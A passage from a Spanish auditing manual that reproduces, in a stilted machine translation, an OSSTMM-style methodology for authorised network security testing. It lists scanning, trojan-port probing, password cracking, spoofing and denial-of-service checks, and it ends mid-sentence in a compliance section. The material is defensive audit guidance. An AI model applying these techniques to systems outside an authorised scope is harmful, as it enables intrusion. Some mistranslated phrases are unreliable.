Capítulo 11 - Pruebas de seguridad de redes de datos Las pruebas para el canal de seguridad de redes de datos (COMSEC) requieren interacciones con las salvaguardias operativas existentes de la red de comunicación de datos utilizadas para controlar el acceso a la propiedad. Este canal cubre la implicación de los sistemas informáticos, principalmente las redes operativas dentro del alcance o marco objetivo. Si bien algunas organizaciones consideran esto simplemente como "pruebas de penetración", el verdadero objetivo de cumplimiento de las pruebas de seguridad en este canal es la interacción del sistema y las pruebas de calidad operativa con medidas de huecos con el estándar de seguridad requerido reglamentos o legislación regional. Durante las pruebas, los operadores finales y la inteligencia artificial pueden reconocer los ataques en curso tanto por el proceso como por la firma. Por esta razón, se requerirá que el Analista tenga una variedad suficiente de métodos para evitar la revelación de las pruebas o trabajar con los operadores para asegurar que cuando la seguridad falla y donde tiene éxito Se pone de manifiesto. Pruebas que se centran sólo en el descubrimiento de nuevos problemas sólo dejan espacio para arreglos y no diseños para futuras mejoras. Los Analistas Competentes requerirán conocimientos adecuados de redes, habilidades de prueba de seguridad diligentes y habilidades de pensamiento crítico para asegurar la recopilación de datos fácticos y crear resultados fácticos a través de la correlación y el análisis. Consideraciones: Tenga en cuenta las siguientes consideraciones para asegurar una prueba segura y de alta calidad: 1.

Los analistas que no hacen una revisión de la postura adecuada para el alcance, así como las regiones de destino para las empresas o las interacciones no pueden escapar de castigo por violar las leyes simplemente porque no eran conscientes de la ley, Es decir, las personas han presumido conocimiento de la ley. Los analistas son considerados profesionales en este tema y, por lo tanto, se supone que lo que puede no ser de conocimiento común para una persona normal acerca de una Página 382 de 430

Manual de Auditoria para no Auditores región extranjera. Las leyes relativas a los sistemas informáticos, los profesionales se dan cuenta de las leyes necesarias para participar en esa empresa. 2. Derechos de propiedad: Las pruebas deben dirigirse específicamente sólo a los sistemas que están bajo propiedad legal directa con el propietario del ámbito y los sistemas informáticos en la propiedad del propietario del ámbito. Cualquier efecto personal debe permanecer personal y privado a menos que involucre específicamente al dueño del ámbito a través del menosprecio, la falsa luz, la competitividad o las razones establecidas en los contratos de contrato de personal. Los analistas deben hacer esfuerzos para no invadir la vida privada de una persona donde esa vida privada ha hecho esfuerzos para separarse del alcance. Los analistas con acuerdos especiales para probar sistemas que están bajo contrato directo, pero no son propiedad o son propiedad, pero no están alojados en la propiedad legal del propietario debe tomar mucha precaución para asegurar que las pruebas tengan un impacto mínimo en otros sistemas y terciarios fuera del alcance o contrato. 11.1 Revisión de Postura. Los estudios iniciales de la postura incluyen las leyes, la ética, las políticas, las regulaciones de la industria y la cultura política que influyen en los requisitos de seguridad y privacidad para el alcance. Esta revisión forma una matriz contra la cual las pruebas deben ser mapeadas, pero no restringidas debido a la ubicuidad de los puntos finales del canal. Por lo tanto, es importante considerar, como requiere alguna legislación, el mercado objetivo o los usuarios finales de este canal, que también debe agregarse al ámbito de este módulo. 11.1.1 Política. Revisar y documentar la política organizacional apropiada con respecto a los requisitos de seguridad, integridad y privacidad del ámbito. Revisar y documentar contratos y acuerdos de nivel de servicio (SLA) con proveedores de servicios y otros terceros involucrados. 11.1.2 Legislación y reglamentos. Revisar y documentar la legislación regional y nacional apropiada y las regulaciones de la industria con respecto a los requerimientos de seguridad y privacidad de la organización en el ámbito, así como aquéllos que incluyen los clientes, socios, sucursales organizacionales o revendedores apropiados fuera del alcance. 11.1.3 Cultura. Revisar y documentar la cultura organizacional apropiada en el ámbito de la concientización sobre la seguridad y la privacidad, la capacitación del

Página 383 de 430

Manual de Auditoria para no Auditores personal necesario y disponible, la jerarquía organizacional, el uso de la mesa de ayuda y los requisitos para reportar problemas de seguridad. 11.1.4 Antigüedad de los Sistemas Revise y documente la antigüedad de los sistemas, software y aplicaciones de servicio requeridos para las operaciones. 11.1.5 Artefactos frágiles Revise y documente cualquier sistema, software y aplicaciones de servicio que requieran atención especial debido al alto uso, las inestabilidades o una alta tasa de cambio. 11.2 Logística. Esta es la preparación del entorno de prueba de canal necesario para evitar falsos positivos y falsos negativos que conducen a resultados de pruebas inexactos. 11.2.1 Marco. (A) Verificar el alcance y el propietario de los objetivos definidos para la auditoría. (B) Determinar la ubicación de la propiedad y el propietario de la propiedad que contiene los objetivos. (C) Verificar el propietario de los objetivos de la información de registro de la red. (D) Verificar el propietario de los dominios de destino de la información de registro de dominio. (E) Verificar el ISP (s) que proporciona acceso a la red o redundancia. (F) Buscar otros bloques y objetivos de IP relacionados con el (los) mismo (s) propietario (s). (G) Buscar nombres de dominio similares o nombres de dominio mal escritos que puedan confundirse con el objetivo. (H) Verificar qué nombres de dominio de destino resuelven a sistemas fuera del control del propietario, como dispositivos de almacenamiento en caché. (I) Verifique qué direcciones IP de destino rastrean a ubicaciones diferentes de la ubicación del propietario. (J) Compruebe que las consultas de nombre inverso de las direcciones del sistema de destino corresponden con el ámbito y el propietario del ámbito.

Página 384 de 430

Manual de Auditoria para no Auditores (K) Buscar y verificar las rutas de los servicios de red que interactúan fuera de la meta para los caminos que siguen dentro y fuera del ámbito. (L) Preparar la resolución de nombres locales para asignar nombres de dominio solamente a los sistemas específicos que se van a probar y no a cualquier dispositivo fuera de la propiedad objetivo o objetivo. (M) Utilice la búsqueda inversa de nombres como fuente de información adicional para determinar la existencia de todas las máquinas en una red.

11.2.2 Calidad de la red. (A) Mida la tasa de velocidad y pérdida de paquetes al alcance de un servicio solicitado en TCP, UDP e ICMP, tanto como una solicitud de servicio completa como como un par de solicitud / respuesta. Repita cada solicitud en sucesión al menos 100 veces y registre el promedio para las solicitudes de servicio completo y las respuestas de paquete para cada uno de los tres protocolos. (B) Determine el envío y recepción de tarifas de paquetes para un total de 6 promedios (por protocolo) como solicitudes por segundo por segmento de red en el ámbito. (C) Registre los porcentajes de pérdida de paquetes para las tarifas de envío y recepción de paquetes determinadas. 11.2.3 Tiempo. (A) Verificar el huso horario, los días festivos y los horarios de trabajo de los distintos sistemas dentro del alcance Incluyendo socios, revendedores y clientes influyentes que interactúan con el ámbito. (B) Identifique la distancia de tiempo para vivir (TTL) a la puerta de enlace y los objetivos. (C) Asegúrese de que el reloj del analista esté sincronizado con el tiempo de los objetivos.

Página 385 de 430

Manual de Auditoria para no Auditores

11.3 Verificación de detección activa. La determinación de los controles activos y pasivos para detectar la intrusión en el filtro o negar los intentos de prueba debe hacerse antes de la prueba para mitigar el riesgo de corromper los datos del resultado de la prueba, así como cambiar el estado de alarma del personal o agentes de monitoreo. Puede ser necesario coordinar estas pruebas con las personas apropiadas dentro del alcance. 11.3.1 Filtrado. (A) Compruebe si los datos o las comunicaciones de la red INCOMING a través de web, mensajería instantánea, chat, foros basados en web o correo electrónico, son supervisados o filtrados por una parte autorizada para retransmitir materiales inapropiados, inyecciones de código, contenido malicioso e información incorrecta. Conducir y registrar las respuestas y el tiempo de respuesta. (B) Compruebe si los datos o las comunicaciones de la red SALIENTE sobre la tela, la mensajería inmediata, el chat, los foros basados en web, o el correo electrónico, son supervisados o filtrados por un partido autoritario para la retransmisión de materiales inadecuados, inyecciones de código, Conducir y registrar las respuestas y el tiempo de respuesta. 11.3.2 Detección activa. (A) Verificar las respuestas activas a las sondas de los sistemas y servicios. Esto podría ser notificaciones legibles por el ser humano o la máquina, respuestas de paquetes, viajes de alarma silenciosa, o similares. (B) Asignar cualquier aplicación, sistema o segmento de red dentro del ámbito que produzca registros, alarmas o notificaciones. Esto podría incluir sistemas de detección o prevención de intrusos basados en redes o host, syslog, herramientas de administración de información de seguridad (SIMs), registros de aplicaciones y similares. 11.4 Auditoría de Visibilidad. Enumeración e indexación de los objetivos en el ámbito mediante interacción directa e indirecta con o entre sistemas vivos. 11.4.1 Análisis de redes. (A) Identificar el perímetro del segmento (s) de la red de destino y el vector del que serán probados. (B) Utilizar el sniffing de red para identificar los protocolos de emanación de las respuestas o peticiones del servicio de red

Página 386 de 430

Manual de Auditoria para no Auditores donde corresponda. Por ejemplo, NetBIOS, ARP, SAP, NFS, BGP, OSPF, MPLS, RIPv2, etc. (C) Consultar todos los servidores de nombres y los servidores de nombres del ISP o del proveedor de alojamiento, si los registros A, AAAA y PTR correspondientes, así como la capacidad de realizar transferencias de zona para determinar la existencia de todos los destinos de la red y cualquier redundancia relacionada, equilibrio de carga, almacenamiento en caché, proxy y alojamiento virtual. (D) Verificar las solicitudes de difusión y las respuestas de todos los objetivos. (E) Verificar y examinar el uso de protocolos de tráfico y enrutamiento para todos los objetivos. (F) Verificar las respuestas ICMP para los tipos ICMP 0-255 y ICMP 0-2 de todos los objetivos. (G) Compruebe que los nombres de comunidades predeterminados y probables en uso son según la práctica

SNMP

Implementaciones de todas las versiones SNMP. (H) Verificar las respuestas de los objetivos para seleccionar puertos con una caducidad TTL establecida en menos de 1 y 2 saltos De los objetivos. Por ejemplo: TCP 8, 22, 23, 25, 80, 443, 445, 1433 UDP 0, 53, 139, 161 ICMP T00: C00, T13: C00, T15: C00, T17: C00 (I) Trace la ruta de los paquetes ICMP a todos los objetivos. (J) Trace la ruta de los paquetes TCP a todos los destinos para los puertos SSH, SMTP, HTTP y HTTPS. (K) Trace la ruta de paquetes UDP a todos los destinos para los puertos DNS y SNMP. (L) Identificar la predicción del número de secuencia TCP ISN para todos los objetivos. (M) Compruebe los incrementos IPID de las respuestas de todos los destinos. (N) Compruebe el uso del enrutamiento de origen suelto al gateway de destino y los sistemas perimetrales externos para encaminar los paquetes a todos los destinos.

Página 387 de 430

Manual de Auditoria para no Auditores 11.4.2 Enumeración. (A) Buscar grupos de noticias, foros, IRC, IM, P2P, VoIP y comunicaciones basadas en la web para conectar la información del objetivo para determinar los sistemas de pasarela de salida y el direccionamiento interno. (B) Examine los encabezados de correo electrónico, los mensajes de correo electrónico devueltos, los recibos de lectura, los errores de correo y los rechazos de malware para determinar los sistemas de pasarela de salida y el direccionamiento interno. (C) Examinar el código fuente y las secuencias de comandos de la aplicación basada en la Web objetivo para determinar la existencia de objetivos adicionales en la red. (D) Examinar las emanaciones de servicio y aplicación. Manipular y reproducir el tráfico capturado para invocar nuevas solicitudes o respuestas, obtener profundidad o exponer información adicional. Por ejemplo, SQL, Citrix, HTTP, SAP, DNS, ARP, etc. (E) Buscar registros web y registros de intrusión para las rutas del sistema de la red de destino. (F) Verificar todas las respuestas de las solicitudes de paquetes UDP a los puertos 0-65535. (G) Verificar las respuestas a las peticiones de paquetes UDP desde los puertos FUENTE 0, 53, 139 y 161 a 0, 53, 69, 131 y 161. (H) Verifique las respuestas a las solicitudes de paquetes UDP con BAD CHECKSUMS a todos los puertos descubiertos y para 0, 53, 69, 131 y 161. (I) Verificar las respuestas de solicitud de servicio a los puertos de malware de acceso remoto UDP comunes y contemporáneos. (J) Verificar las respuestas de las solicitudes de paquetes TCP SYN a los puertos 0-65535. (K) Verificar las respuestas de las solicitudes de servicio TCP a los puertos 0, 21, 22, 23, 25, 53, 80 y 443. (L) Verificar las respuestas de un TCP ACK con un puerto SOURCE de 80 a los puertos 3100-3150, 10001-10050,33500-33550 y 50 puertos aleatorios por encima de 35000. (M) Verificar las respuestas de los fragmentos TCP SYN a los puertos 0, 21, 22, 23, 25, 53, 80 y 443.

Página 388 de 430

Manual de Auditoria para no Auditores (N) Compruebe las respuestas de todas las combinaciones de indicadores TCP a los puertos 0, 21, 22, 23, 25, 53, 80 y 443. (O) Verificar el uso de todos los destinos con VPN, proxies y redireccionadores de URL basados en HTTP o HTTPS para redirigir las solicitudes de destinos dentro del ámbito. (P) Verificar el uso de todos los objetivos con IPID secuenciales para enumerar los sistemas dentro de la red. (Q) Mapear y verificar la coherencia de los sistemas visibles y los puertos que responden mediante TTL. 11.4.3 Identificación. Identificar la respuesta TTL de los objetivos, el tiempo de actividad del sistema, los servicios, las aplicaciones, las fallas de la aplicación y correlacionar esto con las respuestas de las herramientas de huellas dactilares del sistema y del servicio. 11.5 Verificación de acceso. Pruebas para la enumeración de puntos de acceso que están dentro del alcance. 11.5.1 Red. (A) Solicitar servicios comunes conocidos que utilicen UDP para conexiones desde todas las direcciones. (B) Solicitar servicios VPN comunes conocidos, incluidos aquellos que utilizan IPSEC e IKE para conexiones desde todas las direcciones. (C) Manipular el servicio de red y el enrutamiento para acceder a restricciones anteriores dentro del ámbito de aplicación. (D) Solicitar servicios de troyanos comunes conocidos que utilicen UDP para conexiones desde todas las direcciones. (E) Solicitar servicios de troyanos comunes y conocidos que utilicen ICMP para conexiones desde todas las direcciones. (F) Solicitar servicios de troyanos comunes y conocidos que utilicen TCP para conexiones desde todas las direcciones Y puertos no filtrados que no han enviado respuesta a un SYN TCP. 11.5.2 Servicios. (A) Solicite todos los banners de servicio (flags) para los puertos TCP descubiertos. (B) Verificar las banderas de servicio (banderas) a través de interacciones con el servicio que comprende tanto solicitudes válidas como inválidas. Página 389 de 430

Manual de Auditoria para no Auditores (C) Relacionar cada puerto abierto con un daemon (servicio), una aplicación (código específico o producto que utilice el servicio) y un protocolo (los medios para interactuar con ese servicio o aplicación). (D) Verifique el tiempo de actividad del sistema en comparación con las últimas vulnerabilidades y revisiones de parches. (E) Verificar la aplicación en el sistema y la versión. (F) Identificar los componentes del servicio de escucha. (G) Verificar el tiempo de actividad de los servicios en comparación con las últimas vulnerabilidades y revisiones. (H) Verificar el servicio y la aplicación en relación con los resultados de las huellas dactilares de TTL y OS para todas las direcciones. (I) Verificar HTTP y HTTPS para el alojamiento virtual. (J) Verificar los servicios VoIP. (K) Manipular aplicaciones y solicitudes de servicio fuera de los límites estándar para incluir caracteres especiales o terminología especial de ese servicio o aplicación para obtener acceso. 11.5.3 Autenticación. (A) Enumerar los accesos que requieren autenticación y documentar todos los privilegios descubiertos que se pueden utilizar para proporcionar acceso. (B) Verificar el método para obtener la autorización adecuada para la autenticación. (C) Compruebe el método de ser identificado correctamente para ser proporcionado la autentificación. (D) Verificar el método lógico de autenticación. (E) Verificar la intensidad de la autenticación mediante el craqueo de contraseñas y volver a aplicar las contraseñas descubiertas a todos los puntos de acceso que requieran autenticación. (F) Verificar el proceso de recepción de la autenticación. (G) Prueba de errores lógicos en la aplicación de la autenticación.

Página 390 de 430

Manual de Auditoria para no Auditores 11.6 Verificación de Confianza. Prueba de confianza entre sistemas dentro del ámbito en el que trust se refiere al acceso a información las propiedades físicas sin necesidad de identificación o autenticación. 11.6.1 Suplantación (A) Pruebe las medidas para tener acceso a la propiedad dentro del alcance falsificando su dirección de red como uno de los hosts de confianza. (B) Verificar si los mecanismos de almacenamiento en caché disponibles pueden estar envenenados. 11.6.2 Phishing (A) Compruebe que las URL de las solicitudes y consultas en el destino sean concisas, dentro del mismo dominio, utilice sólo el método POST y utilice una marca coherente. (B) Compruebe que no existen imágenes / registros / datos de contenido de destino en sitios fuera del objetivo para crear un duplicado del destino. (C) Examinar registros de dominio de nivel superior para dominios similares a los identificados dentro del ámbito. (D) Compruebe que el destino utiliza la personalización en sitios web y correo al interactuar con usuarios autenticados. (E) Compruebe el control y la respuesta del objetivo a los rebozos de correo donde el FROM es falsificado en el campo de encabezado para que sea el del dominio de destino. 11.6.3 Abuso de recursos (A) Comprobar la profundidad del acceso a la información comercial o confidencial disponible en los servidores web sin ninguna credencial establecida y requerida. (B) Compruebe si la información se envía al exterior del alcance como relleno a paquetes de red como el que ha ocurrido anteriormente como "Etherleak". (C) Compruebe que las medidas de continuidad, específicamente el equilibrio de carga, sean independientes del alcance para impedir que los usuarios utilicen, refieran, enlacen, marquen o abusen de uno de los recursos.

Página 391 de 430

Manual de Auditoria para no Auditores 11.7 Verificación de controles Pruebas para enumerar y verificar la funcionalidad operacional de las medidas de seguridad para los activos y servicios. 11.7.1 No repudio (A) Enumerar y probar el uso o las deficiencias de los daemons y sistemas para identificar y Registro de acceso o interacciones a la propiedad de pruebas específicas para desafiar el repudio. (B) Documentar la profundidad de la interacción registrada y el proceso de identificación. (C) Verificar que todos los métodos de interacción se registren correctamente con una identificación adecuada. D) Identificar los métodos de identificación que impidan el rechazo. 11.7.2 Confidencialidad (A) Enumerar todas las interacciones con servicios dentro del alcance de comunicaciones o activos transportados a través del canal usando líneas seguras, encriptación, interacciones "silenciadas" o "cerradas" para proteger la confidencialidad de la propiedad de información entre las partes involucradas. (B) Verificar los confidencialidad.

métodos

aceptables

utilizados

para

la

(C) Comprobar la fuerza y el diseño del método de cifrado u ofuscación. D) Verificar los límites exteriores de la comunicación que pueden protegerse mediante los métodos de confidencialidad aplicados. 11.7.3 Privacidad (A) Enumerar los servicios dentro del ámbito de las comunicaciones o los bienes transportados mediante firmas específicas, firmas individuales, identificación personal, "silencio" o interacciones personales de "habitación cerrada" para proteger la privacidad de la interacción y el proceso de proporcionar activos sólo a aquellos dentro de la Autorización de seguridad adecuada para ese proceso, comunicación o activo. (B) Corregir la información con puertos TCP y UDP no responsivos para determinar si la disponibilidad depende de un tipo privado de contacto o protocolo.

Página 392 de 430

Manual de Auditoria para no Auditores 11.7.4 Integridad Enumerar y probar las insuficiencias de integridad cuando se utiliza un proceso documentado, firmas, cifrado, hash o marcas para asegurar que el activo no puede ser cambiado, redirigido o invertido sin que sea conocido por las partes involucradas. 11.8 Verificación del proceso Pruebas para examinar el mantenimiento de la seguridad funcional en los procesos establecidos y la diligencia debida tal como se define en la revisión de la política. 11.8.1 Mantenimiento A) Examinar y documentar la oportunidad, la idoneidad, el acceso y el alcance de los procesos de notificación y respuesta de seguridad en lo que respecta a la vigilancia de la red y la seguridad. B) Verificar la idoneidad y la funcionalidad de las capacidades de respuesta a incidentes y forenses para todos los tipos de sistemas. (C) Verificar el nivel de incidencia o compromiso que los canales de soporte pueden detectar y la duración del tiempo de respuesta. 11.8.2 Desinformación Determinar hasta qué punto las notificaciones de seguridad y las alarmas pueden ampliarse o alterarse con información errónea. 11.8.3 Auditoria Legal Mapee y verifique las lagunas entre la práctica y los requisitos según lo determinado en la revisión de la política a través de todos los canales. 11.8.4 Indemnización (A) Documentar y enumerar los objetivos y servicios que están protegidos contra Eludir la política del empleado, están asegurados por robo o daños, o usan responsabilidad y permiso de responsabilidad. (B) Verificar la legalidad e idoneidad del lenguaje en las renuncias. (C) Verificar el efecto de las exenciones de responsabilidad sobre medidas de seguridad o seguridad. (D) Examinar el lenguaje de la póliza de seguro para las limitaciones en los tipos de daños o activos.

Página 393 de 430

Manual de Auditoria para no Auditores 11.9 Verificación de la configuración Pruebas para reunir toda la información, técnica y no técnica, sobre cómo se pretende que funcionen los activos, y para examinar la capacidad de eludir o interrumpir la seguridad funcional de los activos, explotando la configuración incorrecta de los controles de acceso, los controles de pérdidas y las aplicaciones. 11.9.1 Controles de configuración (A) Examinar los controles para verificar las configuraciones y las líneas de base de los sistemas, equipos y aplicaciones cumplan con la intención de la organización y reflejar una justificación del negocio. (B) Examinar las listas de control de acceso (ACL) y los roles empresariales configurados en redes, sistemas, Servicios y aplicaciones dentro del alcance para asegurar que cumplen con la intención de la organización Y reflejar una justificación del negocio. 11.9.2 Errores comunes de configuración (A) Compruebe que los servicios disponibles no son innecesariamente redundantes y que coinciden con la función empresarial pretendida de los sistemas. (B) Compruebe que se han cambiado los ajustes predeterminados. Algunos dispositivos o aplicaciones se suministran con una cuenta administrativa predeterminada u oculta. Estas cuentas deben cambiarse o, si es posible, inhabilitarse o eliminarse y reemplazarse por una nueva cuenta administrativa. (C) Verifique que la Administración se realiza localmente o con controles para limitar quién o qué puede acceder a las interfaces de administración remota del equipo. 11.9.3 Mapeo de Limitaciones (A) Compruebe si hay servicios o funciones innecesarias o no disponibles. (B) Compruebe si hay credenciales predeterminadas. (C) Identificar si existen vulnerabilidades conocidas en los sistemas.

Página 394 de 430

Manual de Auditoria para no Auditores 11.10 Validación de la propiedad Pruebas para examinar la información y los datos disponibles dentro del alcance o proporcionados por el personal que pueden ser ilegales o poco éticos.

11.10.1 Compartir Compruebe hasta qué punto se comparte intencionalmente a través de procesos y programas compartidos, bibliotecas y cachés personales, o sin intención, a través de una mala administración de licencias y recursos o de negligencia, propiedad privada, falsa, reproducida, no libre o no abierta.

11.10.2 Mercado negro Verificar en qué medida se promueve, se comercializa o se vende entre personal o por la organización bienes privados, falsificados, reproducidos, no libres o no abiertos.

11.10.3 Canales de venta Verificar si los negocios públicos, fuera del alcance, las subastas o las ventas de propiedades proporcionan información de contacto de los objetivos dentro del alcance.

11.11 Examen de la segregación Prueba para la separación apropiada de la propiedad de información privada o personal de información comercial. Al igual que una revisión de la privacidad, es el punto focal del almacenamiento legal, ético, transmisión y control de la propiedad de información privada del personal, socios y clientes. 11.11.1 Mapa de contención de privacidad Ubicación de ubicaciones clave de propiedad de información privada dentro del ámbito, qué información se almacena, cómo y dónde se almacena la información y qué canales se comunican. 11.11.2 Descripción (A) Examinar y documentar los tipos de revelaciones de propiedad privada de información para la segregación de acuerdo con la política y las regulaciones según lo determinado en la Revisión de postura. (B) Verificar que la información privada y la propiedad intelectual confidencial, como documentos, contratos de servicio, claves de SO / Página 395 de 430

Manual de Auditoria para no Auditores Software, etc., no estén disponibles para nadie sin los privilegios adecuados. 11.11.3Limitaciones (A) Verificar que existen consideraciones de diseño o alternativas de canal para personas con limitaciones físicas para interactuar con el objetivo (b) Identificar cualquier parte de la infraestructura diseñada para interactuar con niños legalmente identificados como Menores y verificar qué y cómo se proporciona la información de identificación de ese niño. 11.11.4 Discriminación Verificar la información solicitada y los privilegios otorgados por los guardianes en caso de que la edad (específicamente menores), el sexo, la raza, la costumbre / cultura y la religión sean factores que puedan ser discriminados de acuerdo con la revisión de la política. 11.12 Verificación de la exposición Pruebas para descubrir información que proporciona o da acceso o permite el acceso a múltiples ubicaciones con la misma autenticación. 11.12.1Enumeración de exposición (A) Enumerar información sobre la organización como organigramas, títulos de personal clave, descripciones de puestos, números de teléfono personales y de trabajo, números de teléfono móvil, tarjetas de visita, documentos compartidos, currículos, afiliaciones organizacionales, direcciones de correo electrónico privadas y públicas, log, Sistemas de registro, contraseñas, métodos de respaldo, aseguradores o cualquier Información organizacional implícita reglamentos y políticas.

y

confidencial en los

(B) Enumerar las exposiciones de sistemas, servicios y aplicaciones que detallan el diseño, el tipo, la versión o el estado de los objetivos o de recursos fuera del ámbito, como los registros o fugas.

Página 396 de 430

Manual de Auditoria para no Auditores

11.13 Inteligencia Competitiva Prueba de información de barrido que se puede analizar como inteligencia de negocios. Mientras que la inteligencia competitiva como un campo está relacionada con la comercialización, el proceso aquí incluye cualquier forma de reunión de inteligencia competitiva, incluyendo, pero no limitado a espionaje económico e industrial. La información comercial incluye, pero no se limita a, relaciones comerciales como empleados, socios o revendedores, contactos, finanzas, estrategia y planes. 11.13.1 Rectificado de empresas Enumere y evalúe los puntos de acceso (pasarelas) a la propiedad empresarial dentro del ámbito: qué información comercial se almacena, cómo se almacena y dónde se almacena la información. 11.13.2 Proyección (A) Perfile los tipos de requisito de habilidad de los empleados, las escalas de pago, la información del canal y la pasarela, las tecnologías y la dirección organizacional de fuentes externas al ámbito. B) Configuraciones y configuraciones de redes de datos de perfil de bases de datos de trabajo y periódicos que contratan anuncios para posiciones de redes de datos dentro de la organización relacionadas con la ingeniería o administración de hardware y software dentro del idioma predeterminado de la empresa. 11.13.3 Entorno empresarial (A) Explorar y documentar desde el personal de pasarela individual detalles de negocios tales como alianzas, socios, clientes importantes, vendedores, distribuidores, inversionistas, relaciones comerciales, producción, desarrollo, información de productos, planeación, acciones y comercio y cualquier información o propiedad comercial particular Declarado implícitamente como confidencial en los reglamentos y políticas. (B) Revisar las notas de la web de terceros, las anotaciones y el contenido del sitio de marcadores sociales para la presencia en la Web del ámbito. 11.13.4 Entorno organizacional Procesos, jerarquía, informes financieros, oportunidades de inversión, fusiones, adquisiciones, inversiones en canales, mantenimiento de canales, políticas sociales internas, insatisfacción del personal y tasa de cambio de turno, tiempos de vacaciones primarias, Las contrataciones, los despidos y cualquier otra característica organizacional específica declarada implícitamente como confidencial en los reglamentos y las políticas. Página 397 de 430

Manual de Auditoria para no Auditores 11.14 Verificación de cuarentena Las medidas de contención dictan el manejo del recorrido, los programas maliciosos y la salida. La identificación de los mecanismos de seguridad y de la política de respuesta debe ser dirigida. Puede ser necesario solicitar primero una nueva cuenta de correo de prueba o un sistema de escritorio que el administrador pueda supervisar. Pruebas para verificar la Colocación y contención de contactos agresivos u hostiles en los puntos de acceso. 11.14.1 Identificación del proceso de contención Identificar y examinar métodos de cuarentena para contactos agresivos y hostiles como malware, puntos de acceso deshonestos, dispositivos de almacenamiento no autorizados, etc. 11.14.2 Niveles de Contención A) Medir los recursos mínimos que deben estar a disposición de este subsistema para que pueda realizar su tarea. (B) Verificar los recursos disponibles para este subsistema que no necesita realizar sus tareas y qué recursos están protegidos contra el uso por este subsistema. (C) Verificar las medidas de detección presentes para la detección del intento de acceso a los recursos blindados. (D) Verificar las características del sistema de contención. (E) Verificar que las medidas de detección estén presentes para detectar el acceso "inusual" a los recursos necesarios (F) Mida la respuesta y el proceso contra entradas codificadas, empaquetadas, condensadas, renombradas o enmascaradas. G) Verificar el estado de contención y la duración de los métodos de cuarentena tanto dentro como fuera del ámbito de aplicación. Asegurar la integridad y minuciosidad de los métodos y que estén dentro del contexto y límites legales. 11.15 Auditoría de privilegios Prueba donde se proporcionan las credenciales al usuario y se concede el permiso para probar con esas credenciales. 11.15.1 Identificación Examinar y documentar el proceso de autorización para obtener la identificación de los usuarios a través de medios legítimos y fraudulentos en todos los canales.

Página 398 de 430

Manual de Auditoria para no Auditores 11.15.2 Autorización (A) Examinar y verificar cualquier medio para obtener una autorización fraudulenta para obtener privilegios similares a los de otro personal. (B) Enumerar el uso de cuentas por defecto en los objetivos. C) Comprobar el acceso a los puntos de acceso autenticados mediante las técnicas de craqueo más adecuadas y disponibles. El cracking de contraseñas a través de diccionario o fuerza bruta puede estar limitado por el marco de tiempo de la auditoría y por lo tanto no es una prueba válida de la protección de ese esquema de autenticación, sin embargo, cualquier descubrimiento exitoso da fe de su debilidad. 11.15.3 Escalamiento (A) Recoger información sobre personas con privilegios altos. Busque roles o posiciones de confianza, puertas de enlace de acceso para personas de confianza y cualquier medio de acceso físico requerido, como fichas o tarjetas inteligentes. (B) Compruebe los límites de privilegios en el destino o entre múltiples destinos y si existen medios para escalar esos privilegios.

11.16 Validación de supervivencia Determinar y medir la resiliencia de los objetivos dentro del alcance a cambios excesivos o hostiles diseñados para causar fallas o degradación del servicio. Denial of Service (DoS) es una situación en la que una circunstancia, intencional o accidentalmente, impide que el sistema funcione como se pretende. En ciertos casos, el sistema puede estar funcionando exactamente como fue diseñado, pero nunca fue diseñado para manejar la carga, el alcance o los parámetros que se le imponen. Supervivencia Las pruebas deben ser monitoreadas de cerca, ya que la intención es causar un fallo y esto puede ser inaceptable para el dueño del objetivo. 11.16.1 Resilencia (A) Verifique los puntos de fallo individuales (puntos de estrangulamiento) en la infraestructura donde el cambio o el fallo puede causar una interrupción del servicio. (B) Verificar el impacto al acceso de destino que causará un fallo del sistema o del servicio. Página 399 de 430

Manual de Auditoria para no Auditores (C) Verificar los privilegios disponibles del acceso inducido por fallos. (D) Verificar la funcionalidad operacional de los controles para impedir el acceso o permisos por encima de los privilegios más bajos posibles en caso de fallo. 11.16.2 Continuidad (A) Enumerar y probar las insuficiencias de todos los objetivos con respecto a los retrasos de acceso y los tiempos de respuesta del servicio a través de sistemas de respaldo o el cambio a canales alternos. (B) Verificar que los esquemas de bloqueo de intrusos no se pueden usar contra usuarios válidos. 11.16.3 Seguridad Mapear y documentar el proceso de cierre de los sistemas de destino por parte de los guardianes debido a cuestiones de evacuación o de seguridad como un análisis de la brecha con la regulación y la política de seguridad. 11.17 Revisión de alertas y registros Un análisis de la brecha entre las actividades realizadas con la prueba y la verdadera profundidad de esas actividades registradas o de percepciones de terceros tanto humanas como mecánicas. 11.17.1 Alarma Verificar y enumerar el uso de un sistema de advertencia, registro o mensaje de localización o ámbito de alcance para cada pasarela de acceso sobre cada canal en el que el personal sospeche que hay sospechas de intentos de elusión, ingeniería social o actividad fraudulenta. 11.17.2 Almacenamiento y recuperación (A) Documentar y verificar el acceso no privilegiado a las ubicaciones de almacenamiento de alarmas, registros y notificaciones y propiedades. (B) Verificar la calidad y la duración del almacenamiento de documentos.

Página 400 de 430

Manual de Auditoria para no Auditores 12.0.0. Compliance ISO 19600 El cumplimiento legal es un alineamiento con un conjunto de políticas generales, donde el tipo de cumplimiento requerido depende de la región y el gobierno actual, la industria y los tipos de negocios, y la legislación de apoyo. El cumplimiento es obligatorio; Sin embargo, al igual que con cualquier otra amenaza, debe realizarse una evaluación del riesgo independientemente de que se invierta en cualquier tipo de cumplimiento. A menudo, el cumplimiento no es tan blanco y negro como parece ser. El OSSTMM reconoce tres tipos de cumplimiento: 1. Legislativo. El cumplimiento de la legislación está de acuerdo con la región donde se puede aplicar la legislación. La fuerza y el compromiso con la legislación provienen de argumentos legales exitosos con anterioridad y medidas apropiadas y justas de cumplimiento. El incumplimiento de la legislación puede Llevar a cargos criminales. Los ejemplos son Sarbanes-Oxley, HIPAA, y la diversa legislación de la protección de datos y del aislamiento. 2. Contractual. El cumplimiento de los requisitos contractuales es de acuerdo con la industria o dentro del grupo que requiere el contrato y puede tomar medidas para hacer cumplir el cumplimiento. El incumplimiento de los requisitos contractuales a menudo conduce al despido del grupo, a la pérdida de privilegios, a la pérdida de reputación, a los cargos civiles y, en algunos casos, cuando existe legislación para apoyar al organismo regulador, los cargos criminales. Un ejemplo es el estándar de seguridad de datos de la industria de tarjetas de pago (PCI DSS) promovido y requerido por VISA y MasterCard. 3. Basado en normas. El cumplimiento de las normas está de acuerdo con el negocio u organización donde el cumplimiento con las normas se aplica como política. El incumplimiento de las normas suele dar lugar a despido de la organización, pérdida de privilegios, pérdida de reputación o confianza de marca, cargos civiles y Algunos casos en los que existe legislación para apoyar a los encargados de la formulación de políticas, cargos penales. Los ejemplos son OSSTMM, ISO 27001/5 e ITIL. El 